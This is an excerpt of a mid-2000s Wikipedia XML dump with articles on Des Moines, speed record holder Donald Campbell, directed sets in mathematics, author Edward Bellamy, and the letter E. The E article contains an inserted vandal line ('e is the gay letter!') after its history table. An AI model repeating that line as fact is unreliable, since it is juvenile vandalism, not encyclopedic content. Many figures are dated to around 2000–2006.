Des Moines's [[suburb]]s include [[Altoona, Iowa|Altoona]], [[Ankeny, Iowa|Ankeny]], [[Bondurant, Iowa|Bondurant]], [[Carlisle, Iowa|Carlisle]], [[Clive, Iowa|Clive]], [[Grimes, Iowa|Grimes]], [[Johnston, Iowa|Johnston]], [[Norwalk, Iowa|Norwalk]], [[Pleasant Hill, Iowa|Pleasant Hill]], [[Polk City, Iowa|Polk City]], [[Urbandale, Iowa|Urbandale]], [[Waukee, Iowa|Waukee]], [[West Des Moines, Iowa|West Des Moines]], and [[Windsor Heights, Iowa|Windsor Heights]].

In 2003, ''[[Forbes]]'' magazine ranked the Des Moines metropolitan area 8th on its list of &quot;Best Places For Business And Careers,&quot; based on the cost of doing business, housing affordability, educational attainment, crime rate, and the number of [[doctor of philosophy|Ph.D.]]'s per 100,000 residents. [http://www.forbes.com/2003/05/07/bestland.html]

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 198,682 people, 80,504 households, and 48,704 families residing in the city.  The [[population density]] is 1,012.0/km&amp;sup2; (2,621.3/mi&amp;sup2;).  There are 85,067 housing units at an average density of 433.3/km&amp;sup2; (1,122.3/mi&amp;sup2;).  The racial makeup of the city is 82.29% [[Race (U.S. Census)|White]], 8.07% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.35% [[Race (U.S. Census)|Native American]], 3.50% [[Race (U.S. Census)|Asian]], 0.05% [[Race (U.S. Census)|Pacific Islander]], 3.52% from [[Race (U.S. Census)|other races]], and 2.23% from two or more races.  6.61% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 80,504 households out of which 29.5% have children under the age of 18 living with them, 43.7% are [[Marriage|married couples]] living together, 12.6% have a female householder with no husband present, and 39.5% are non-families. 31.9% of all households are made up of individuals and 10.2% have someone living alone who is 65 years of age or older.  The average household size is 2.39 and the average family size is 3.04.

In the city the population is spread out with 24.8% under the age of 18, 10.6% from 18 to 24, 31.8% from 25 to 44, 20.4% from 45 to 64, and 12.4% who are 65 years of age or older.  The median age is 34 years.  For every 100 females there are 93.8 males.  For every 100 females age 18 and over, there are 90.5 males.

The median income for a household in the city is $38,408, and the median income for a family is $46,590. Males have a median income of $31,712 versus $25,832 for females. The [[per capita income]] for the city is $19,467.  11.4% of the population and 7.9% of families are below the [[poverty line]].  Out of the total population, 14.9% of those under the age of 18 and 7.6% of those 65 and older are living below the poverty line.

==Government==
[[image:Des Moines City Hall.jpg|thumb|200px|right|Des Moines City Hall]]
Des Moines currently operates under a [[council-manager government|council-manager]] form of government. The council consists of a mayor (who, as of [[2005]], is Frank Cownie), two at-large members, and four members representing each of the city's four wards.

A plan to merge the governments of Des Moines and Polk County was rejected by voters during the [[November 2]], [[2004]], election. The [[consolidated city-county]] government would have had a full-time mayor and a 15-member council that would have been divided among the city and its suburbs. Each suburb would have still retained its individual government but had the option to join the consolidated government at any time. Although a full merger was soundly rejected, many city and county departments and programs have been consolidated.

== Transportation ==
Most residents of Des Moines get around the region by car. [[Interstate 235 (Iowa)|Interstate 235]] cuts through the city, and [[Interstate 35]] and [[Interstate 80]] both pass through the Des Moines metropolitan area. [[U.S. Highway 65]] and Iowa Highway 5 form a freeway loop to the east and south of the city.  [[U.S. Highway 6|U.S. Highways 6]] and [[U.S. Highway 69|69]] and Iowa Highways 28, 141, and 163 are also important routes to and within the city.

Des Moines's public transit system, operated by the [[Des Moines Metropolitan Transit Authority]], consists entirely of buses, including regular in-city routes and express and commuter buses to outlying suburban areas.

Downtown Des Moines features a 3.5 mile-long (5.6 km) [[skyway|skywalk]] system, allowing people to move between buildings without going out of doors.

[[Greyhound Bus Lines]] and [[Jefferson Lines]] run long-distance, inter-city bus routes to Des Moines.  The nearest [[Amtrak]] train station is in [[Osceola, Iowa|Osceola]], about 40 miles (64 km) south of Des Moines.  Trains on the route that passes through Osceola, the [[California Zephyr]], go east to [[Chicago, Illinois]] and as far west as [[Oakland, California]].

The [[Des Moines International Airport]] (DSM), located in the southern part of Des Moines, on Fleur Drive, offers non-stop service to destinations within the United States, including to major hub airports such as [[Chicago O'Hare]], [[Hartsfield International Airport|Atlanta Hartsfield]] and [[Dallas-Ft. Worth International Airport]].  Despite its name, there are no direct flights, as of [[2005]], between the airport and destinations outside of the United States.

== Colleges and universities ==
*[[AIB College of Business]]
*[[College of Podiatric Medicine and Surgery]]
*[[Des Moines University]]
*[[Des Moines Area Community College]]
*[[Drake University]]
*[[Grand View College]]
*[[Hamilton College, Iowa|Hamilton College]]
*[http://www.mchs.edu Mercy College of Health Sciences]
*[[Simpson College]]
*[[William Penn University]]

== Culture ==
=== Media ===
==== AM radio stations ====
* [[WOI-AM]] 640, [[National Public Radio|NPR]] affiliate (generally talk)
* [[KPSZ]] 940, Christian music and programming
* [[WHO (AM)|WHO]] 1040, news, [[talk radio]], [[University of Iowa]] sports
* [[KWKY]] 1150, Christian talk, music
*[http://www.1350krnt.com KRNT] 1350, &quot;Great Songs, Great Memories&quot;
* [[KXNO]] 1460, sports talk, [[Iowa State University]] sports

==== FM radio stations ====
* [[KJMC]] 89.3 &quot;K-Jam&quot; [[Urban Contemporary]]
* [[WOI-FM]] 90.1, NPR Affiliate (Generally music) Classical, Jazz, Public Broadcasting
* [[KJJY]] 92.5, [[country music]]
* [[KIOA]] &quot;Oldies 93.3&quot;, [[oldies]]
* [[KGGO]] 94.9, [[classic rock]]
* [[KHKI]] 97.3 &quot;The Hawk&quot;, country music
* [[KWQW]] 98.3 &quot;Wow FM&quot;, talk radio  (Formerly [[KRKQ]] 98 Rock)
* [[KZZQ]] Positive Hits &quot;Q99.5 KZZQ&quot; Christian CHR
* [[KMXD]] 100.3 &quot;My 100&quot;, mixture of [[1980s]], [[1990s]], and current hits
* [[KSTZ]] &quot;Star 102.5,&quot; hot [[adult contemporary]]
* [[KAZR]] &quot;Lazer 103.3,&quot; [[hard rock]] music
* [[KLTI]] &quot;Lite 104.1,&quot; soft adult contemporary
* [[KCCQ]] 105.1 &quot;Channel Q,&quot; Modern Rock
* [[KDRB]] &quot;106.3 the Bus,&quot; blend of classic hits, similar to [[Jack FM]] (changed from its previous [[hip-hop]] and [[R&amp;B]] format on [[April 1]], [[2005]])
*[[KNWI]] 107.1 &quot;Life 107.1&quot; Christian Music
* [[KKDM]] 107.5 &quot;Kiss 107 FM,&quot; [[Top 40|Contemporary Hits/Top-40]]

==== Television stations ====
* [[WOI-TV|WOI]] 5, local [[American Broadcasting Company|ABC]] affiliate
* [[KCCI-TV|KCCI]] 8, local [[CBS]] affiliate
* KDIN 11, local [[Public Broadcasting Service|PBS]] member station, [[Iowa Public Television]] network flagship
* [[WHO-TV|WHO]] 13, local [[NBC]] affiliate
* [[KDSM-TV|KDSM]] 17 local [[Fox Broadcasting Company|Fox]] affiliate
* [[KPWB-TV|KPWB]] 23 local [[The WB Television Network|WB]] affiliate
* [[KFPX-TV|KFPX]] 39 local ''[[I (TV network)|i]]'' affiliate

==== Print ====
* ''[[Des Moines Register]]'', [[newspaper]]
* ''[[Cityview]]'', an [[alternative weekly]] newspaper
* ''[[Des Moines Business Record]]''
* ''Juice'', a weekly publication from the ''Register'' targeted toward the 25- to 34-year-old demographic

=== Points of interest ===
[[image:Des Moines East Village.jpg|thumb|250px|right|The East Village]]
* [[Iowa State Fair]] and Grounds
* [http://www.downtowndsm.info/ Downtown Attractions]
** [[Iowa State Capitol]], featuring a genuine gold-covered dome
** The [[Iowa Events Center]]
** [http://www.eastvillagedesmoines.com East Village Shopping Area]
** [http://www.sciowa.org Science Center of Iowa and IMAX theatre] Court Ave 
** [[Des Moines Botanical Center]]
** [http://www.knowdowntown.com/events/farmersmarket/ Downtown Farmer's Market]
** [http://www.principal.com/riverwalk Principal Riverwalk]
** [http://www.desmoinesartsfestival.org Des Moines Art Festival]
** [http://www.civiccenter.org Des Moines Civic Center]
** [http://www.hoytsherman.org Hoyt Sherman Place]
** [http://www.shermanhill.org Sherman Hill Neighborhood], historic district just north of downtown
* [[Des Moines Art Center]], designed by [[I.M. Pei]] and other international architects
* The [http://www.blankparkzoo.com Blank Park Zoo]
* [[Arie den Boer Arboretum]]
* [[Lilac Arboretum and Children's Forest]]
* [[Merle Hay Mall]], one of Iowa's oldest and largest [[shopping mall]]s
* [[Terrace Hill]], home of the governor of Iowa
* [[Jordan Creek Town Center]], central Iowa's newest and largest mall
* [[Adventureland (Iowa)|Adventureland]], a regional theme park
* [[Prairie Meadows]], a casino and thoroughbred raceway in Altoona
* [[Valley West Mall]]
* [[Southridge Mall (Iowa)|Southridge Mall]]
* [http://www.ci.des-moines.ia.us/departments/PR/trails.htm Recreational Trail System]
* [http://www.ci.des-moines.ia.us/departments/PR/grayslake.htm Grays Lake Park]
* [[Saylorville Lake]]

=== Sports ===
*The [[Iowa Cubs]] [[baseball]] team of the [[Pacific Coast League]], the Class AAA affiliate of the major-league [[Chicago Cubs]]. They play their home games at [[Principal Park]] (formerly Sec Taylor Stadium).
*The [[Des Moines Dragons]] [[basketball]] team played in the IBL from 1997-1998 season until the end of the 2000-2001 season. They played at Veterans Memorial Auditorium.
*The [[Des Moines Menace]] [[soccer]] team plays in [[Waukee, Iowa|Waukee]].
*The [[Des Moines Buccaneers]] of the [[United States Hockey League]] play at [[95KGGO Arena]] (formerly the Metro Ice Sports Arena and Buccaneer Arena) in neighboring [[Urbandale, Iowa|Urbandale]].
*The [[Iowa Stars]] of the [[American Hockey League]] play at Wells Fargo Arena (part of the [[Iowa Events Center]]).
*The [[Iowa Barnstormers]] of the [[Arena Football League]] moved to New York in [[2000]] and are now the [[New York Dragons]].

Drake University hosts the nationally known Drake Relays each April.

== Notable natives ==
*[[Bill Bryson]], author
*[[Stephen Collins]], actor
*[[Thomas M. Disch]], author
*Rory Freeman, star on television show ''[[Survivor: Vanuatu]]''
*[[Tana Goertz]], star on television show ''[[The Apprentice 3]]''
*[[David Anthony Higgins]], actor, ''[[Malcolm in the Middle]]''
*[[Steve Higgins]], producer of ''[[Saturday Night Live]]''
*[[Cloris Leachman]], actress
*The [[McCaughey septuplets]], the first surviving set of septuplets, were born in Des Moines to a couple from nearby [[Carlisle, Iowa|Carlisle]].
*[[Kyle Orton]], [[Chicago Bears]] quarterback (from nearby [[Altoona, Iowa|Altoona]])
*[[Chris Pirillo]], television personality and technology figure
*[[Brandon Routh]], star of the upcoming film ''[[Superman Returns]]'' (from nearby [[Norwalk, Iowa|Norwalk]])
*All of the members of [[Slipknot (band)|Slipknot]], especially [[Corey Taylor]], a [[nu metal music|nu metal band]].
*[[Bill Stewart (musician)|Bill Stewart]], well known jazz drummer with [[Pat Metheny Group]].
*[[Stephen Stucker]], actor, best known for his role as the [[air traffic controller]] in the [[1980]] movie, ''[[Airplane!]]''
*[[Kevin Tapani]], [[Major League Baseball]] player
*[[Tionne &quot;T-Boz&quot; Watkins]], member of the singing group, [[TLC]].

== Sister Cities ==
*[[Kofu]], [[Japan]]
*[[Naucalpan]], [[Mexico]]
*[[Saint-Etienne]], [[France]]
*[[Shijiazhuang]], [[China]]
*[[Stavropol]], [[Russia]]

== References ==
*[http://www.ci.des-moines.ia.us/departments/AC/Information/AChistoricalinfo.htm City of Des Moines Action Center Historical Guide]
* Henning, Barbara Beving Long, and Patrice K. Beam, ''Des Moines and Polk County: Flag on the Prairie'' (ISBN 1892724340). Sun Valley, California: American Historical Press, 2003.

== External links ==
=== Civic and cultural links ===
*[http://www.blankparkzoo.com/ Blank Park Zoo]
*[http://www.ci.des-moines.ia.us City of Des Moines]
*[http://www.civiccenter.org/ Civic Center of Greater Des Moines]
*[http://www.desmoinesartcenter.org/ Des Moines Art Center]
*[http://www.desmoinesartsfestival.org/ Des Moines Art Festival]
*[http://www.dmmo.org/ Des Moines Metro Opera]
*[http://www.desmoineslibrary.com Des Moines Public Library]
*[http://www.dmps.k12.ia.us Des Moines Public Schools]
*[http://www.dmsymphony.org/ Des Moines Symphony]
*[http://www.knowdowntown.com/ Downtown Community Alliance]
*[http://www.desmoinesmetro.com/ Greater Des Moines Partnership]
*[http://www.lib.drake.edu/heritage/odm/ Historic Des Moines] Drake University photo collection
*[http://www.iowastatefair.com/ Iowa State Fair]
*[http://www.lhf.org/ Living History Farms]
*[http://www.salisburyhouse.org/ Salisbury House]
*[http://www.sciowa.org/ Science Center of Iowa]
*[http://www.desmoinesbigband.com/ The Des Moines Big Band]

=== Other links ===
*[http://www.absolutedsm.com/ absoluteDSM.com] - Info on the city's construction and development projects
*[http://www.desmoinesalive.com/ desmoinesalive.com] - Info and reviews on Restaurants, Bars, Clubs, etc

{{Mapit-US-cityscale|41.590939|-93.620866}}

{{Iowa}}
{{United_States_state_capitals}}

[[Category:All-America City]]
[[Category:Des Moines, Iowa|Des Moines, Iowa]]
[[Category:State capitals in the United States]]

[[da:Des Moines]]
[[de:Des Moines]]
[[es:Des Moines (Iowa)]]
[[eo:Des Moines (Iovao)]]
[[fr:Des Moines]]
[[io:Des Moines, Iowa]]
[[he:דה מוין]]
[[nl:Des Moines (Iowa)]]
[[ja:デモイン]]
[[pl:Des Moines (Iowa)]]
[[pt:Des Moines]]
[[ro:Des Moines]]
[[ru:Де-Мойн]]
[[sk:Des Moines]]
[[fi:Des Moines]]
[[sv:Des Moines]]</text>
    </revision>
  </page>
  <page>
    <title>Donald Campbell</title>
    <id>9164</id>
    <revision>
      <id>40363066</id>
      <timestamp>2006-02-20T01:47:40Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">:''For other people with the same name, see [[Donald Campbell (disambiguation)]]''

'''Donald Malcolm Campbell''' ([[March 23]], [[1921]] - [[January 4]], [[1967]]) was a British [[automobile|car]] and [[motorboat]] racer who broke many speed records.

Campbell was born in [[Horley]], [[Surrey]], as the son of [[Malcolm Campbell|Sir Malcolm Campbell]]. Following his father's career, he strove to set speed records on [[Land Speed Record|land]] and [[Water speed record|water]].

Campbell began [[land speed record|speed record]] attempts using his father's old boat ''[[Bluebird K4]]'', but after a 156 mph (250 km/h) crash destroyed the ''K4'' in [[1951]] he developed a new boat. The ''[[Bluebird K7]]'' was a jet-propelled [[hydroplaning|hydroplane]] type with a [[Metrovick F.2|Metropolitan-Vickers ''Beryl'']] [[jet engine]] producing 4000 lbf (18 kN) of thrust. Campbell set seven world water-speed records between [[1955]] and [[1964]]. The first was at [[Ullswater]] on [[July 23]], [[1955]], where he set a record of 203 mph (325 km/h). The series of increases peaked in [[December 31]] [[1964]] at [[Dumbleyung Lake, Western Australia]] when he reached 276.33 mph. 

On land, following a heavy crash at [[Bonneville]] with the ''Bluebird CN7'' car in [[1960]], on [[July 17]], [[1964]], at [[Lake Eyre]], Australia he set a record of 403.10 mph for jet propelled four-wheeled vehicles (Class A). He became the first person to set both water and land records in the same year. But his land record was short-lived, because rule changes meant that [[Craig Breedlove]]'s ''[[Spirit of America]]'' soon set new records.

Three years later, on [[January 4]], [[1967]], Campbell was killed when the re-engined ''Bluebird K7'' flipped and disintegrated at a speed in excess of 300 mph on [[Coniston Water]] in England. The cause of the crash has been variously attributed to Campbell not waiting to refuel after doing a first run of 297 mph, and hence the boat being lighter; the waves caused by his wash; and, most likely, a cut-out of the jet engine. The wreckage of his craft and the body of Campbell were not recovered until [[May 28]], [[2001]] when diver [[Bill Smith (diver)|Bill Smith]] was inspired to look for the wreck after hearing the [[Marillion]] song &quot;Out Of This World&quot; (from the album ''[[Afraid of Sunlight (album)|Afraid of Sunlight]]''), which was written about Campbell and the Bluebird. The body of Campbell was recovered soon after and was laid to rest in Coniston cemetery.

The story of his last attempt at the water speed record on Coniston Water was told in the [[BBC]] television drama ''[[Across the Lake]]'' in [[1988]], with [[Anthony Hopkins]] as Campbell. 

Between them, Donald and his father had set eleven speed records on water and ten on land.

==External links==
* http://website.lineone.net/~donaldcampbell/
* [http://www.marillion.com/news/2001/20010308.htm Steve Hogarth's account of the raising of the Bluebird]
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=6001973 Find-A-Grave Donald Campbell]

[[Category:1921 births|Campbell, Donald M.]]
[[Category:1967 deaths|Campbell, Donald M.]]
[[Category:Land speed record|Campbell, Donald M.]]
[[Category:Water speed record|Campbell, Donald M.]]
[[Category:Natives of Surrey|Campbell, Donald M.]]
[[Category:Freemasons|Campbell, Donald]]
[[Category:British racecar drivers|Campbell, Donald]]
[[Category:Old Uppinghamians|Campbell, Donald]]

[[de:Donald Campbell]]
[[sr:Доналд Кемпбел]]
[[sv:Donald Campbell]]</text>
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  <page>
    <title>Directed set</title>
    <id>9165</id>
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      <text xml:space="preserve">{{dablink|&quot;Directed&quot; redirects here. For those that direct, see [[Director]].}}
In [[mathematics]], a '''directed set''' is a ''right filtering [[preorder]]'', i.e. a [[set]] ''A'' together with a [[reflexive relation|reflexive]] and [[transitive relation|transitive]] [[binary relation]] &amp;le; having the additional property that for any two elements ''a'' and ''b'' in ''A'', there exists a third element ''c'' in ''A'' with ''a'' &amp;le; ''c'' and ''b'' &amp;le; ''c'' (directedness).

Given two points ''a'' and ''b'' one can move from ''a'' in the direction of ''b'' by finding another point ''c'' &quot;beyond&quot; both ''a'' and ''b''. Continuing inductively, one can find a [[sequence]] ''a'' &amp;le; ''b'' &amp;le; ''c'' &amp;le; ''d'' &amp;le; ... of points.

== Applications ==
Directed sets are generalizations of [[total order|totally ordered sets]]. In  [[topology]] they are used to define [[net (topology)|nets]] that generalize [[sequence]]s and unite the various notions of [[limit (mathematics)|limit]] used in [[mathematical analysis|analysis]]. 

== Examples ==
Examples of directed sets include:
* The set of [[natural number|natural numbers]] '''N''' with the ordinary order &amp;le; is a directed set (and so is every [[total order|totally ordered set]]). 
* If ''x''&lt;sub&gt;0&lt;/sub&gt; is a [[real number]], we can turn the set '''R''' &amp;minus; {''x''&lt;sub&gt;0&lt;/sub&gt;} into a directed set by writing ''a'' &amp;le; ''b'' if and only if &lt;br&gt;|''a'' &amp;minus; ''x''&lt;sub&gt;0&lt;/sub&gt;| &amp;ge; |''b'' &amp;minus; ''x''&lt;sub&gt;0&lt;/sub&gt;|. We then say that the reals have been ''directed towards x&lt;sub&gt;0&lt;/sub&gt;''. This is not a partial order.
* If ''T'' is a [[topological space]] and ''x''&lt;sub&gt;0&lt;/sub&gt; is a point in ''T'',  we turn the set of all [[topological neighbourhood|neighbourhoods]] of ''x''&lt;sub&gt;0&lt;/sub&gt; into a directed set by writing ''U'' &amp;le; ''V'' if and only if ''U'' contains ''V''.
** For every ''U'': ''U'' &amp;le; ''U''; since ''U'' contains itself.
** For every ''U'',''V'',''W'': if ''U'' &amp;le; ''V'' and ''V'' &amp;le; ''W'', then ''U'' &amp;le; ''W''; since if ''U'' contains ''V'' and ''V'' contains ''W'' then ''U'' contains ''W''.
** For every ''U'', ''V'': there exists the set ''U'' &amp;cap;''V'' such that ''U'' &amp;le; ''U'' &amp;cap;''V'' and ''V'' &amp;le; ''U'' &amp;cap;''V''; since both ''U'' and ''V'' contain ''U'' &amp;cap;''V''.
* In a [[poset]] ''P'', every subset of the form {''a''| ''a'' in ''P'', ''a'' &amp;le;''x''}, where ''x'' is a fixed element from ''P'', is directed.

== Directed subsets ==
Directed sets need not be [[antisymmetric relation|antisymmetric]] and therefore in general are not [[partial order|partial orders]]. However, the term is also frequently used in the context of posets. In this setting, a subset ''A'' of a partially ordered set (''P'',&amp;le;) is called a '''directed subset''' [[iff]]
* ''A'' is not the [[empty set]],
* for any two ''a'' and ''b'' in ''A'', there exists a ''c'' in ''A'' with ''a'' &amp;le; ''c'' and ''b'' &amp;le; ''c'' (directedness),

where the order of the elements of ''A'' is inherited from ''P''. For this reason, reflexivity and transitivity need not be required explicitly.

Directed subsets are most commonly used in [[domain theory]], where one studies orders for which these sets are required to have a [[least upper bound]]. Thus, directed subsets provide a generalization of (converging) sequences in the setting of partial orders as well.

== See also ==
* [[equivalence relation]]
* [[filter (mathematics)|filter]]
* [[semilattice]]

[[Category:Order theory]]
[[Category:General topology]]

[[de:Gerichtete Menge]]
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      <comment>/* External links */ * {{gutenberg author| id=Bellamy+Edward | name=Edward Bellamy}}</comment>
      <text xml:space="preserve">[[Image:Edward Bellamy - photograph c.1889.jpg|thumb|left|250px|Edward Bellamy, circa 1889.]]

'''Edward Bellamy''' ([[March 26]], [[1850]]&amp;ndash;[[May 22]], [[1898]]) was an [[United States|American]] author, most famous for his [[Utopia|utopian]] [[novel]] set in the year [[2000]], ''[[Looking Backward]]'', published in [[1888]]. 

Edward Bellamy was born in [[Chicopee Falls, Massachusetts|Chicopee Falls]], [[Massachusetts]]. He attended [[Union College]], but did not graduate. While there, he joined the Theta Chi Chapter of the [[Delta Kappa Epsilon]] Fraternity. He studied law, but left the practice and worked briefly in the [[newspaper]] industry in [[New York]] and in [[Springfield, Massachusetts]]. He left journalism and devoted himself to literature, short stories, and several novels. He married Emma Sanderson in [[1882]]. 

He was the cousin of [[Francis Bellamy]], most famous for creating the [[Pledge of Allegiance]] to promote the sale of [[American flag]]s.

His books include  ''[[Dr. Heidenhoff's Process]]'' ([[1880]]), ''[[Miss Ludington's Sister]]'' ([[1884]]), and ''The Duke of Stockbridge''. His feeling of injustice in the economic system lead him to write ''Looking Backward:  2000&amp;ndash;1887''.

According to [[Erich Fromm]], ''Looking Backward'' is &quot;one of the most remarkable books ever published in America.&quot; It was the third largest bestseller of its time, after ''[[Uncle Tom's Cabin]]'' and ''[[Ben-Hur (book)|Ben-Hur: A Tale of the Christ]]''. It influenced a large number of intellectuals, and appears by title in many of the major [[Marxism|Marxist]] writings of the day. &quot;It is one of the few books ever published that created almost immediately on its appearance a political mass movement.&quot; (Fromm, p vi). 165 &quot;Bellamy Clubs&quot; sprang up all over the United States for discussing and propagating the book's ideas.

A short story &quot;[[wikisource:The_Parable_of_the_Water-Tank|The Parable of the Water-Tank]]&quot; from the book ''Equality'', published in [[1897]], was popular with a number of early [[United States|American]] [[socialism|socialists]].  Less successful than its prequel, ''Looking Backward'', ''Equality'' continues the story of Julian West as he adjusts to life in the future.

46 additional utopian novels were published in the US from 1887 to [[1900]], due to the book's popularity, for example, [[William Morris]]', ''[[News from Nowhere]]''.

Bellamy died at his childhood home in Chicopee Falls at the age of 48 from [[tuberculosis]].

==Further reading==
*Edward Bellamy, '' Looking Backward: 2000&amp;ndash;1887'' with a forward by Erich Fromm, Signet, 1960.
*Edward Bellamy, ''The Religion of Solidarity'',  ed. Arthur E. Morgan, Antioch Bookplate Company, 1940. Published posthumously; concerns the idea of love of man and human solidarity.
*Edward Bellamy, ''Apparitions of Things to Come: Edward Bellamy's Tales of Mystery &amp; Imagination'', collection of short stories, ISBN 0882861654.
*Arthur E. Morgan, ''The Philosophy of Edward Bellamy'', King's Crown Press, 1945.
*John Hope Franklin, &quot;Edward Bellamy and the Nationalist Movement,&quot; ''The New England Quarterly'', Vol. 11, December 1938, 739&amp;ndash;772.
*Elizabeth Sadler, &quot;One Book's Influence: Edward Bellamy's ''Looking Backward''&quot; ''The New England Quarterly'', Vol. 17, December 1944, 530&amp;ndash;555.

==External links==
{{Wikisource author}}
* {{gutenberg author| id=Bellamy+Edward | name=Edward Bellamy}}
*{{isfdb name|id=Edward_Bellamy|name=Edward Bellamy}}

[[Category:1850 births|Bellamy, Edward]]
[[Category:1898 deaths|Bellamy, Edward]]
[[Category:American science fiction writers|Bellamy, Edward]]
[[Category:People from Massachusetts|Bellamy, Edward]]
[[Category:Union College, New York alumni|Bellamy, Edward]]

[[de:Edward Bellamy]]
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{{Persondata
|NAME=Bellamy, Edward
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=
|DATE OF BIRTH=[[March 26]] [[1850]]
|PLACE OF BIRTH=[[Chicopee Falls, Massachusetts]]
|DATE OF DEATH=[[May 22]] [[1898]]
|PLACE OF DEATH=[[Chicopee Falls, Massachusetts]]
}}</text>
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      <text xml:space="preserve">:''For the mathematical constant '''e''', see [[e (mathematical constant)]].''

{{AZ|uc=E|lc=e}}
The letter '''E''' is the fifth letter in the [[Latin alphabet]].

==History==

{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse;text-align:center;&quot;
|-  bgcolor=&quot;#EEEEEE&quot;
! Egyptian hieroglyph ''ç-r-d''
! Proto-Semitic H
! Phoenician H
! Etruscan E 
! Greek Epsilon
|-----
|&lt;hiero&gt;A28&lt;/hiero&gt;
|[[Image:Proto-semiticE-01.png]]
|[[Image:PhoenicianE-01.png]]
|[[Image:EtruscanE-01.png]]
|[[Image:GreekE-01.png]]
|}
e is the gay letter!

'''E''' is derived from the [[Greek alphabet|Greek letter]] [[epsilon]] which is much the same in appearance (&amp;Epsilon;, &amp;epsilon;) and function.  The [[Semitic]] ''hê'' probably first represented a praying or calling human figure (''hillul'' jubilation), and was probably based on a similar [[Egyptian hieroglyph]] that was pronounced quite differently. In Semitic, the letter was pronounced /h/ (in foreign words also /e/), in Greek ''hê'' became  &amp;#917;&amp;#968;&amp;#953;&amp;#955;&amp;#959;&amp;#957; (Epsilon) with the value /e/.  [[Etruria|Etruscan]]s and [[Ancient Rome|Romans]] followed this usage. Arising from the [[Great Vowel Shift]], [[English language|English]] usage is rather different, namely /i:/ in &quot;me&quot; or &quot;bee&quot;, whereas other words like &quot;bed&quot; are closer to Latin or [[Continental Europe]]an usage.

==Usage==
[[Category:Vowels]]
Like other Latin [[vowel]]s, e came in a long and a short variety . In modern English, the long variety is sounded as in s''ee'' and the short as in p''e''t.  However, [[Latin]] and most [[European]] languages sound the long variety differently, as in English v''ei''n. In other languages which use the letter it takes on various other values, sometimes with accents to indicate which one (ê é è ë &amp;#x113; &amp;#x115; &amp;#x11B; &amp;#x1EBD; &amp;#x117; &amp;#x1EB9; &amp;#x119;). Digraphs starting with E are common in many languages to indicate [[diphthongs]] or show a different value of E, such as EA or EE for /{{IPA|i&amp;#720;}}/ or /{{IPA|e&amp;#618;}}/ in English, EI for /{{IPA|e&amp;#618;}}/ in English or /{{IPA|a&amp;#618;}}/ in [[German language|German]], or EU for /{{IPA|ju&amp;#x2d0;}}/ in English or /{{IPA|&amp;#596;&amp;#618;}}/ in German.

E is very often silent in English ([[silent E]]), particularly at the ends of words where old noun inflections have been dropped, although even when silent at the end of a word it often causes vowels in the word to be pronounced as long (compare ''rat'' and ''rate'').

This is the most common letter in [[English language|English]] and many related languages, which has some implications in [[cryptography]]. This also makes it a difficult and popular letter to use when writing [[lipogram|lipograms]].

==Codes for computing==
{{Letter
|NATO=Echo
|Morse=·
|B1=●
|B2=○
|B3=○
|B4=○
|B5=●
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] E is codepoint U+0045 and the [[minuscule|lowercase]] e is U+0065.

The [[ASCII]] code for capital E is 69 and for lowercase e is 101; or in [[Binary numeral system|binary]] 01000101 and 01100101, correspondingly.

The [[EBCDIC]] code for capital E is 197 and for lowercase e is 133.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#69;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#101;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Meanings for E==
* In [[astronomy]],
** E stands for a March 1 through 15 discovery, in the provisional designation of a comet (e.g. [[C/1973 E1]], Comet Kohoutek) or asteroid (e.g. {{mpl|(4178) 1988 EO|1}}).
* In the [[Earth's atmosphere|atmosphere]] of [[Earth]], the [[Kennelly-Heaviside layer|E layer]] is part of the [[ionosphere]].
* In [[biochemistry]], E is the symbol for [[glutamic acid]] and also often an abbreviation for [[enzyme]].
* In [[computing]],
** The letter e is often used as a prefix (with or without a subsequent hyphen) for other words to imply &quot;electronic&quot;, such as [[e-mail]] or [[e-commerce]].
** E is also a [[programming language]] available for the [[Amiga]]. It's related to [[C]] and [[Pascal]]. See [[Amiga E]].
** The [[E programming language]] is an object-oriented language for secure distributed computing.
* In [[computational complexity theory]], the [[complexity class]] [[E (complexity)|E]] is a variant of the class [[EXPTIME]] of problems solvable in exponential time.
* In [[currency]], E is sometimes used as symbol for the [[euro]] when the symbol &amp;euro; is not available.
* In [[education]], E is a very low grade, except in some grading systems such as the one used in the [[USA]] which goes from D to F, omitting E.
* In [[electrochemistry]], E is a symbol for [[electrode potential]], and E° is a symbol for [[standard electrode potential]].
* In [[English language|English]] [[slang]], E is a term for [[Ecstasy (drug)|Ecstasy]] or MDMA, a synthetic drug which is often used recreationally.
* In [[film]], ''E'' is a Canadian film from [[1982]]; see [[E (film)]].
* In [[finance]], E is the [[New York Stock Exchange]] [[ticker symbol]] for [[ENI Spa]]
* In [[gender-neutral pronoun]]s, e is the [[Spivak pronoun]] meaning ''he or she''.
* In [[geography]] and [[weather forecasting]], E stands for [[east]], one of the four [[cardinal directions]].
* In the [[International Phonetic Alphabet]], /e/ refers to the [[close-mid front unrounded vowel]].  Its turned counterpart, /ə/, stands for the [[mid central vowel]] or [[schwa]].
* In legal [[metrology]], the [[&quot;Estimated&quot; sign|&quot;estimated&quot; sign]] (the symbol &amp;#x212E;) following a measurement of quantity (e.g., 750 ml &amp;#x212E;) is used to indicate that the measurement of weight or volume is done according to preset rules with specific allowable variances.
* In [[List of international license plate codes|international licence plate codes]], E stands for [[Spain]] (España).
* In [[mathematics]], 
**[[E (mathematical constant)|e]] is [[Leonhard Euler|Euler's]] number, a [[transcendental number]] (approximately equal to 2.718281828459045235360287471352) which is used as the base for [[natural logarithm|natural logarithms]]. See [[e (mathematical constant)]]. 
**E is also used to signify &amp;#215;10&lt;sup&gt;y&lt;/sup&gt;; i.e. 7e8 is 7&amp;#215;10&lt;sup&gt;8&lt;/sup&gt; or 700,000,000.
